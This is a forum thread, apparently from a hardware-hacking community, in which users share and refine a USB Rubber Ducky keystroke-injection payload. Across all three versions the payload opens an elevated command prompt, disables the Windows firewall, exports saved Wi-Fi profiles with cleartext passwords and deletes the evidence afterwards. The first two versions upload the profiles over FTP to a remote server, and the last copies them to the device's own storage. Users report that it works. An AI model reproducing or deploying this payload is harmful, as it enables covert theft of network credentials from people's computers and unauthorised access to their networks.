[Payload] WiFun version 1.1

[Bucky67GTO]

OK rebuild of my first script. It would not export cleartext passwords without administrator access, and the firewall was also giving me fits. sooooooo. the first ctrl-shift enter gets a cmd shell with administrative access (you need to compile with version 2.2 of duck encoder - props to Dnucna). the first string then disables the firewall, then the rest of the code works fine. You may want to tweek the delay after the ftp session depending on upload speed.....enjoy

Please let me know if you have ideas for additions/improvements.

DELAY 2000

ESCAPE

CONTROL ESCAPE

DELAY 400

STRING cmd

DELAY 400

CTRL-SHIFT ENTER

DELAY 400

STRING netsh firewall set opmode mode=disable

ENTER

DELAY 400

STRING netsh wlan export profile key=clear

ENTER

DELAY 400

STRING cd %USERPROFILE%

ENTER

DELAY 400

STRING ftp -i ftp server

ENTER

DELAY 400

STRING username

ENTER

DELAY 400

STRING password

ENTER

DELAY 600

STRING prompt

ENTER

DELAY 400

STRING prompt

ENTER

DELAY 400

STRING MPUT *.xml

ENTER

DELAY 4000

STRING bye

ENTER

DELAY 400

STRING del *.xml

ENTER

DELAY 200

STRING netsh firewall set opmode mode=enable

ENTER

DELAY 400

ALT SPACE

STRING c

[Bucky67GTO]

Can anyone give me feedback on if this fixed the encryption problem or if it works for them?

[mreidiv]

i ran the commands from a prompt with administrator privs and it worked fine.

Have not tried on a ducky yet need to upgrade my firmware.

[no42]

i ran the commands from a prompt with administrator privs and it worked fine.

Have not tried on a ducky yet need to upgrade my firmware.

Should work fine on stock firmware!

Encoder and firmware are separate developments - this takes advantage of encoder enhancements.

[mreidiv]

is there a way to pull all the wireless profiles not the current one?

[Bucky67GTO]

is there a way to pull all the wireless profiles not the current one?

In the tests I did, it pulled all wireless connections, each having a separate .xml file. Not sure why you would only get one, unless there is only one. anyone have any ideas?

Edited January 17, 2013 by Bucky67GTO

[mreidiv]

In the tests I did, it pulled all wireless connections, each having a separate .xml file. Not sure why you would only get one, unless there is only one. anyone have any ideas?

I only have one profile on my box i was just asking so that i would know if it could or not. Thanks.

[Bucky67GTO]

I only have one profile on my box i was just asking so that i would know if it could or not. Thanks.

OK, thanks..It will definitely download all that are on the box. remember though, the more you have, the longer the delay you will need to ftp them.

[mreidiv]

Had to make changes to your scrip for it to work on my computer.

DELAY 2000
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
CTRL-SHIFT ENTER
DELAY 400
LEFTARROW <---Added
DELAY 400 <---Added
ENTER
DELAY 400
STRING netsh firewall set opmode mode=disable
ENTER
DELAY 400
STRING cd %USERPROFILE% <----Moved
ENTER
DELAY 400
STRING netsh wlan export profile key=clear 
ENTER
DELAY 400
STRING ftp -i ftp site
ENTER
DELAY 400
STRING username
ENTER
DELAY 400
STRING password
ENTER
DELAY 600
STRING prompt
ENTER
DELAY 400
STRING prompt
ENTER
DELAY 400
STRING MPUT wir*.xml <---Changed
ENTER
DELAY 4000
STRING bye
ENTER
DELAY 400
STRING del wir*.xml <---Changed
ENTER
DELAY 200
STRING netsh firewall set opmode mode=enable
ENTER
DELAY 400
ALT SPACE
STRING c

Edited January 28, 2013 by mreidiv

[mreidiv]

Here is one for the Twin duck firmware Using your code with some modification.

DELAY 2000
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
DELAY 400
CTRL-SHIFT ENTER
DELAY 400
LEFTARROW
DELAY 400
ENTER
DELAY 400
STRING netsh firewall set opmode mode=disable
ENTER
DELAY 400
STRING cd %USERPROFILE%
ENTER
DELAY 400
STRING netsh wlan export profile key=clear 
ENTER
DELAY 400
STRING copy wi*.xml E: /-y
ENTER
DELAY 2000
ENTER
DELAY 400
STRING del wir*.xml
ENTER
DELAY 200
STRING netsh firewall set opmode mode=enable
ENTER
DELAY 400
ALT SPACE
STRING c

Edited February 4, 2013 by mreidiv